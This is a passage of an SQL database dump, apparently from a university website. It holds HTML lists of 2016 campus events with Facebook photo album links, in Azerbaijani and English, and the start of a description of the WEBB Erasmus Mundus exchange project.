target=\"_blank\">FOTO</a>)<br></p><p>06.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217050804971989\" target=\"_blank\">FOTO</a>)<br></p><p>10.05.2016 Cultural leadership workshop&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1216489751694761\" target=\"_blank\">FOTO</a>)<br></p><p>07.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1213865521957184\" target=\"_blank\">FOTO</a>)<br></p><p>06.05.2016 Potensial direktorlar 4&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1213839748626428\" target=\"_blank\">FOTO</a>)<br></p><p>06.05.2016 Qaranlıqdan doğan həqiqət&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1213768178633585\" target=\"_blank\">FOTO</a>)</p><p>06.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212700532073683\" target=\"_blank\">FOTO</a>)</p><p>06.05.2016 Yazar Müşfiq Xanla görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212679402075796\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>06.05.2016 Əmək yarmarkası&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212676985409371\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>05.05.2016 Tomson Reydersin&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212052015471868\" target=\"_blank\">FOTO</a>)</p><p>04.05.2016 Potensial Direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1211454405531629\" target=\"_blank\">FOTO</a>)&nbsp;</p><p>04.05.2016 Spagetti Bridge Competition&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1211450018865401\" target=\"_blank\">FOTO</a>)</p><p>03.05.2016 245 nömrəli məktəbin şagirdləri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1210708502272886\" target=\"_blank\">FOTO</a>)</p>'),(2956,1753,'en','May','May','<p>27.05.2016 Simulation game&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1229578317052571\" target=\"_blank\">FOTO</a>)<br></p><p>28.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1229521597058243\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227178080625928\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 \"SourceGrab\" saytının təqdimatı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227104660633270\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227028747307528\" target=\"_blank\">FOTO</a>)<br></p><p>25 05 2016 arxeologiya jurnalinin redkolleksiyasi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227018897308513\" target=\"_blank\">FOTO</a>)<br></p><p>25.05.2016 Dağlıq Qarabağ münaqişəsinin həllində simulyasiya&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1225913737419029\" target=\"_blank\">FOTO</a>)<br></p><p>25.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1225912414085828\" target=\"_blank\">FOTO</a>)<br></p><p>24.05.2016&nbsp;Avrasiya bilik mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1225262477484155\" target=\"_blank\">FOTO</a>)<br></p><p>23.05.2016 Avrasiya bilik mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1224545217555881\" target=\"_blank\">FOTO</a>)<br></p><p>21.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1224542344222835\" target=\"_blank\">FOTO</a>)<br></p><p>21.05.2016 Avrasiya Bilik Mərkəzi İşini başladı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1224540067556396\" target=\"_blank\">FOTO</a>)<br></p><p>21.05.2016 Potensial Direktor IV&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1223303734346696\" target=\"_blank\">FOTO</a>)<br></p><p>20.05.2016 Malaziyanın Azərbaycandakı səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1222635177746885\" target=\"_blank\">FOTO</a>)<br></p><p>19.05.2016 Mustafa Aydınla görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1222162461127490\" target=\"_blank\">FOTO</a>)<br></p><p>19.05.2016&nbsp;Nigar ad günü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1222092134467856\" target=\"_blank\">FOTO</a>)<br></p><p>17.05.2016 Kəmaləddin Qədimovla görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1221989734478096\" target=\"_blank\">FOTO</a>)<br></p><p>18.05.2016 Potensial direktorlar&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1221535201190216\" target=\"_blank\">FOTO</a>)<br></p><p>16.05.2016 debat Bəşir Səfəroğlu&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1220822291261507\" target=\"_blank\">FOTO</a>)<br></p><p>13.05.2016 Science Direct numayendesi xezerde&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1218371941506542\" target=\"_blank\">FOTO</a>)<br></p><p>13.05.2016 ESFIDIP&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1218367334840336\" target=\"_blank\">FOTO</a>)<br></p><p>13.05.2016 Potensial direktorlar IV&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1218364258173977\" target=\"_blank\">FOTO</a>)<br></p><p>12.05.2016 Ali Ağzani Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217712348239168\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Potensial Direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217144391629297\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Səhənd Universitetinin nümayəndələri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217073798303023\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Pakistan səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217072721636464\" target=\"_blank\">FOTO</a>)<br></p><p>11.06.2016 Mektebliler&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217054104971659\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Hasan Niknafs&nbsp;Iranli qonaqlar ile gorüş (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217053868305016\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 H. Isaxanli Iranli qonaglar gorüş (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217053361638400\" target=\"_blank\">FOTO</a>)<br></p><p>07.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217052228305180\" target=\"_blank\">FOTO</a>)<br></p><p>06.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217050804971989\" target=\"_blank\">FOTO</a>)<br></p><p>10.05.2016 Cultural leadership workshop&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1216489751694761\" target=\"_blank\">FOTO</a>)<br></p><p>07.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1213865521957184\" target=\"_blank\">FOTO</a>)<br></p><p>06.05.2016 Potensial direktorlar 4&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1213839748626428\" target=\"_blank\">FOTO</a>)<br></p><p>06.05.2016 Qaranlıqdan doğan həqiqət&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1213768178633585\" target=\"_blank\">FOTO</a>)</p><p>06.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212700532073683\" target=\"_blank\">FOTO</a>)</p><p>06.05.2016 Yazar Müşfiq Xanla görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212679402075796\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>06.05.2016 Əmək yarmarkası&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212676985409371\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>05.05.2016 Tomson Reydersin&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212052015471868\" target=\"_blank\">FOTO</a>)</p><p>04.05.2016 Potensial Direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1211454405531629\" target=\"_blank\">FOTO</a>)&nbsp;</p><p>04.05.2016 Spagetti Bridge Competition&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1211450018865401\" target=\"_blank\">FOTO</a>)</p><p>03.05.2016 245 nömrəli məktəbin şagirdləri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1210708502272886\" target=\"_blank\">FOTO</a>)</p>'),(2957,1754,'az','İyun','İyun','<p>30.06.2016 Maqistratura müdafiəsi&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1250275604982842\" target=\"_blank\">FOTO</a>)<br></p><p>29.06.2016 doktorantura təhsilinin müzakiresi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1249668415043561\" target=\"_blank\">FOTO</a>)<br></p><p>29.06.2016 Təhsil lahiyəsi (İntetute of Education)&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1249667431710326\" target=\"_blank\">FOTO</a>)<br></p><p>28.06.2016 Yunus Emre Enistütüsündən qonaqlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1249552648388471\" target=\"_blank\">FOTO</a>)<br></p><p>23.06.2016 Məhəbbət Vəliyeva ilə seminar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1245433502133719\" target=\"_blank\">FOTO</a>)<br></p><p>22.06.2016 Hamlet İsaxanlının Erasmus proqramı qaliblərilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1244797108864025\" target=\"_blank\">FOTO</a>)<br></p><p>21.06.2016 3cu il tələbələrinin tədqiqat işi müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1243870765623326\" target=\"_blank\">FOTO</a>)<br></p><p>18.06.2016 Əlilliyi olan şəxslərlə ünsiyyət&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1243298705680532\" target=\"_blank\">FOTO</a>)<br></p><p>17.06.2016 Departamentlərin elmi fealiyyeti üzrə reytinq cədvəli&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1243262829017453\" target=\"_blank\">FOTO</a>)<br></p><p>16.06.2016 25 illik&nbsp; yubiley (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1241043935906009\" target=\"_blank\">FOTO</a>)<br></p><p>17.06.2016 Departamentlərin elmi fealiyyeti üzrə reytinq cədvəli&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1241118859231850\" target=\"_blank\">FOTO</a>)<br></p><p>13.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1241081522568917\" target=\"_blank\">FOTO</a>)<br></p><p>10.06.2016 Potensial direktorlar Hamlet İsaxanlı ilə görüşü (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1238333506177052\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2016&nbsp;IMAGINE komandasının H.İsaxanlı qarşısında təqdimatı AZTV reportajı(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1236351369708599\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2016 Solo konsert&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1236317816378621\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1236275703049499\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2014 IMAGINE komandasının H.Isaxanlı ilə görüşündən AZTV reportajı (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1235697306440672\" target=\"_blank\">FOTO</a>)<br></p><p>08.06.2016 Sergi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1235052486505154\" target=\"_blank\">FOTO</a>)<br></p><p>08.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1235051889838547\" target=\"_blank\">FOTO</a>)<br></p><p>07.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1234135306596872\" target=\"_blank\">FOTO</a>)<br></p><p>07.06.2016 Thomson Reuters - Təlim&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1234289329914803\" target=\"_blank\">FOTO</a>)<br></p><p>06.06.2016 Final Imtahanları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1233541203322949\" target=\"_blank\">FOTO</a>)<br></p><p>04.06.2016 Khazar University Alumni Association&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1233455216664881\" target=\"_blank\">FOTO</a>)<br></p><p>03.06.2016 Xəzərdə final Imtahanları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1231598086850594\" target=\"_blank\">FOTO</a>)<br></p><p>02.06.2016 Final imtahanları &nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1230952446915158\" target=\"_blank\">FOTO</a>)<br></p><p>01.06.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1230882163588853\" target=\"_blank\">FOTO</a>)</p>'),(2958,1754,'en','June','June','<p>30.06.2016 Maqistratura müdafiəsi&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1250275604982842\" target=\"_blank\">FOTO</a>)<br></p><p>29.06.2016 doktorantura təhsilinin müzakiresi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1249668415043561\" target=\"_blank\">FOTO</a>)<br></p><p>29.06.2016 Təhsil lahiyəsi (İntetute of Education)&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1249667431710326\" target=\"_blank\">FOTO</a>)<br></p><p>28.06.2016 Yunus Emre Enistütüsündən qonaqlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1249552648388471\" target=\"_blank\">FOTO</a>)<br></p><p>23.06.2016 Məhəbbət Vəliyeva ilə seminar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1245433502133719\" target=\"_blank\">FOTO</a>)<br></p><p>22.06.2016 Hamlet İsaxanlının Erasmus proqramı qaliblərilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1244797108864025\" target=\"_blank\">FOTO</a>)<br></p><p>21.06.2016 3cu il tələbələrinin tədqiqat işi müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1243870765623326\" target=\"_blank\">FOTO</a>)<br></p><p>18.06.2016 Əlilliyi olan şəxslərlə ünsiyyət&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1243298705680532\" target=\"_blank\">FOTO</a>)<br></p><p>17.06.2016 Departamentlərin elmi fealiyyeti üzrə reytinq cədvəli&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1243262829017453\" target=\"_blank\">FOTO</a>)<br></p><p>16.06.2016 25 illik&nbsp; yubiley (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1241043935906009\" target=\"_blank\">FOTO</a>)<br></p><p>17.06.2016 Departamentlərin elmi fealiyyeti üzrə reytinq cədvəli&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1241118859231850\" target=\"_blank\">FOTO</a>)<br></p><p>13.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1241081522568917\" target=\"_blank\">FOTO</a>)<br></p><p>10.06.2016 Potensial direktorlar Hamlet İsaxanlı ilə görüşü (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1238333506177052\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2016&nbsp;IMAGINE komandasının H.İsaxanlı qarşısında təqdimatı AZTV reportajı(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1236351369708599\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2016 Solo konsert&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1236317816378621\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1236275703049499\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2014 IMAGINE komandasının H.Isaxanlı ilə görüşündən AZTV reportajı (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1235697306440672\" target=\"_blank\">FOTO</a>)<br></p><p>08.06.2016 Sergi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1235052486505154\" target=\"_blank\">FOTO</a>)<br></p><p>08.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1235051889838547\" target=\"_blank\">FOTO</a>)<br></p><p>07.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1234135306596872\" target=\"_blank\">FOTO</a>)<br></p><p>07.06.2016 Thomson Reuters - Təlim&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1234289329914803\" target=\"_blank\">FOTO</a>)<br></p><p>06.06.2016 Final Imtahanları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1233541203322949\" target=\"_blank\">FOTO</a>)<br></p><p>04.06.2016 Khazar University Alumni Association&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1233455216664881\" target=\"_blank\">FOTO</a>)<br></p><p>03.06.2016 Xəzərdə final Imtahanları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1231598086850594\" target=\"_blank\">FOTO</a>)<br></p><p>02.06.2016 Final imtahanları &nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1230952446915158\" target=\"_blank\">FOTO</a>)<br></p><p>01.06.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1230882163588853\" target=\"_blank\">FOTO</a>)</p>'),(2959,1755,'az','İyul','İyul',''),(2960,1755,'en','July','July',''),(2961,1756,'az','Avqust','Avqust',''),(2962,1756,'en','August','August',''),(2963,1757,'en','September','September','<p>30.09.2016 Buraxilis Potensial Direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1330224996987902\" target=\"_blank\">FOTO</a>)<br></p><p>03.10.2016 Tehsil fakultəsi - praktikaya geden telebelerle görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1330091317001270\" target=\"_blank\">FOTO</a>)<br></p><p>29.09.2016 Ad günləri (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1326311044045964\" target=\"_blank\">FOTO</a>)</p><p>27.09.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1324637864213282\" target=\"_blank\">FOTO</a>)<br></p><p>27.09.2016 Fərhad Aşumovun konserti&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1324601137550288\" target=\"_blank\">FOTO</a>)<br></p><p>27.09.2016 Iraq səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1324598114217257\" target=\"_blank\">FOTO</a>)<br></p><p>22.09.2016 Jan Monnet lahiyesi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1319594908050911\" target=\"_blank\">FOTO</a>)<br></p><p>21.09.2016 Kompüter Elmləri magistr müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1318842931459442\" target=\"_blank\">FOTO</a>)<br></p><p>13.09.2016 Təbriz universitetindən hədiyyələr&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1316902484986820\" target=\"_blank\">FOTO</a>)<br></p><p>19.09.2016 Nərminə Fətəliyevanın müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1316869031656832\" target=\"_blank\">FOTO</a>)<br></p><p>15.09.2016 Birinci kursların kitabxanada ekskursiyası&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1312933852050350\" target=\"_blank\">FOTO</a>)<br></p><p>15.09.2016 Yeni Tədris ilinin açılışı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1312940545383014\" target=\"_blank\">FOTO</a>)<br></p><p>08.09.2016&nbsp;Hərbi döyüşdə qələbə və məğlubiyyət amilləri&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1306312849379117\" target=\"_blank\">FOTO&nbsp;</a>)<br></p><p>08.09.2016 Tədris ilinə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1306256346051434\" target=\"_blank\">FOTO</a>)<br></p><p>06.09.2016 Tədris ilinı hazırlıq&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1304461139564288\" target=\"_blank\">FOTO</a>)<br></p><p>05.09.2016&nbsp;Yeni Tədris ilinə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1303323303011405\" target=\"_blank\">FOTO</a>)<br></p><p>02.09.2016&nbsp;Bizim Yataqxana&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1300430389967363\" target=\"_blank\">FOTO</a>)</p>'),(2964,1757,'az','Sentyabr','Sentyabr','<p>30.09.2016 Buraxilis Potensial Direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1330224996987902\" target=\"_blank\">FOTO</a>)<br></p><p>03.10.2016 Tehsil fakultəsi - praktikaya geden telebelerle görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1330091317001270\" target=\"_blank\">FOTO</a>)<br></p><p>29.09.2016 Ad günləri (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1326311044045964\" target=\"_blank\">FOTO</a>)</p><p>27.09.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1324637864213282\" target=\"_blank\">FOTO</a>)<br></p><p>27.09.2016 Fərhad Aşumovun konserti&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1324601137550288\" target=\"_blank\">FOTO</a>)<br></p><p>27.09.2016 Iraq səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1324598114217257\" target=\"_blank\">FOTO</a>)<br></p><p>22.09.2016 Jan Monnet lahiyesi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1319594908050911\" target=\"_blank\">FOTO</a>)<br></p><p>21.09.2016 Kompüter Elmləri magistr müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1318842931459442\" target=\"_blank\">FOTO</a>)<br></p><p>13.09.2016 Təbriz universitetindən hədiyyələr&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1316902484986820\" target=\"_blank\">FOTO</a>)<br></p><p>19.09.2016 Nərminə Fətəliyevanın müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1316869031656832\" target=\"_blank\">FOTO</a>)<br></p><p>15.09.2016 Birinci kursların kitabxanada ekskursiyası&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1312933852050350\" target=\"_blank\">FOTO</a>)<br></p><p>15.09.2016 Yeni Tədris ilinin açılışı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1312940545383014\" target=\"_blank\">FOTO</a>)<br></p><p>08.09.2016&nbsp;Hərbi döyüşdə qələbə və məğlubiyyət amilləri&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1306312849379117\" target=\"_blank\">FOTO&nbsp;</a>)<br></p><p>08.09.2016 Tədris ilinə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1306256346051434\" target=\"_blank\">FOTO</a>)<br></p><p>06.09.2016 Tədris ilinı hazırlıq&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1304461139564288\" target=\"_blank\">FOTO</a>)<br></p><p>05.09.2016&nbsp;Yeni Tədris ilinə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1303323303011405\" target=\"_blank\">FOTO</a>)<br></p><p>02.09.2016&nbsp;Bizim Yataqxana&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1300430389967363\" target=\"_blank\">FOTO</a>)</p>'),(1261,798,'az','WEBB','WEBB','<p><strong><strong><strong>WEBB: Whole Europe Beyond Borders</strong>  <br></strong></strong></p><p><strong><strong>Start Date:</strong>&nbsp;&nbsp;September, 2012&nbsp;<br></strong></p><p><strong><strong>Duration:</strong>&nbsp;&nbsp;48 months</strong></p><p><strong>Brief information and main objectives:</strong>&nbsp;</p><p>The partnership is composed of 20 Universities, 10 from the EU and 10 from the Third Countries. The role of the co-coordinator will be taken up by Ivane Javakhishvili Tbilisi State University. All 6 countries included in Lot 5 are represented by at least one HEI in the consortium. As regards EU HEIs, the following countries are covered: Italy, France, Germany, Poland, the UK, Finland and Sweden. This provides the project with a satisfactory geographical distribution and diversity. The total number of foreseen motilities is 196; all 5 levels (undergraduate, master, PhD, post doc and staff) are included, as well as all Target Groups. There will be 2 calls for scholarships, as mobility is divided into 2 cohorts.</p><p>As to implementation, the internal management of the consortium is based on the establishment of bodies and units. More specifically there will be a&nbsp;<strong>Central Coordination Unit</strong><strong>&nbsp;</strong>(CCU): represented by the University of Bologna, which will be in charge of overall<strong>&nbsp;</strong>project coordination, follow up, relations with EACEA, organization of website, preparation<strong>&nbsp;</strong>and online publication of the call for scholarships, overall budget management and<strong>&nbsp;</strong>distribution, management of travel and health insurance services, and organization of<strong>&nbsp;&nbsp;</strong>consortium 